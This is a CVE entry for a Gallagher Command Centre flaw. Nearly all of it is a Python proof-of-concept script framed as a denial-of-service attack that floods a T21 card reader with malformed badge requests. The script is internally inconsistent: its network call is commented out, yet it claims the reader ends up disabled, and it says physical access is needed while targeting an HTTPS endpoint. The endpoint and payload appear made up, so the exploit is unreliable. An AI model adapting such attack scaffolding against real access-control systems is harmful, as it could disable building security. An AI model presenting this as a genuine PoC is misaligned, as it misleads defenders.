CVE-2025-64734 - Gallagher Command Centre Server 资源未释放漏洞

# CVE-2025-64734 PoC - T21 Reader Resource Exhaustion DoS # This PoC demonstrates the resource exhaustion attack on Gallagher T21 Reader # Note: Requires physical access to the Reader device import time import threading class GallagherT21DoS: def __init__(self, reader_ip, reader_port=443): self.reader_ip = reader_ip self.reader_port = reader_port self.attack_thread = None self.running = False def send_malformed_request(self): """ Send malformed card badge requests to trigger resource leak This simulates rapid badge attempts with invalid credentials """ try: # Malformed badge request payload payload = { 'card_id': '\x00' * 64, # Oversized card ID 'timestamp': time.time(), 'request_type': 'badge_verify' } # In real scenario, send to reader endpoint # requests.post(f'https://{self.reader_ip}:{self.reader_port}/api/badge', json=payload) print(f"[*] Sending malformed request to {self.reader_ip}") except Exception as e: print(f"[!] Request failed: {e}") def attack_loop(self): """ Continuous attack loop to exhaust reader resources """ count = 0 while self.running: self.send_malformed_request() count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests...") time.sleep(0.1) # Rapid requests def start_attack(self, duration=300): """ Start the DoS attack for specified duration Args: duration: Attack duration in seconds """ print(f"[*] Starting DoS attack on T21 Reader at {self.reader_ip}") print(f"[*] Attack duration: {duration} seconds") self.running = True self.attack_thread = threading.Thread(target=self.attack_loop) self.attack_thread.start() time.sleep(duration) self.stop_attack() def stop_attack(self): """ Stop the ongoing attack """ print("[*] Stopping attack...") self.running = False if self.attack_thread: self.attack_thread.join() print("[+] Attack stopped. Reader should now be in DoS state.") # Usage example # dos_tool = GallagherT21DoS('192.168.1.100') # dos_tool.start_attack(duration=600) # Run for 10 minutes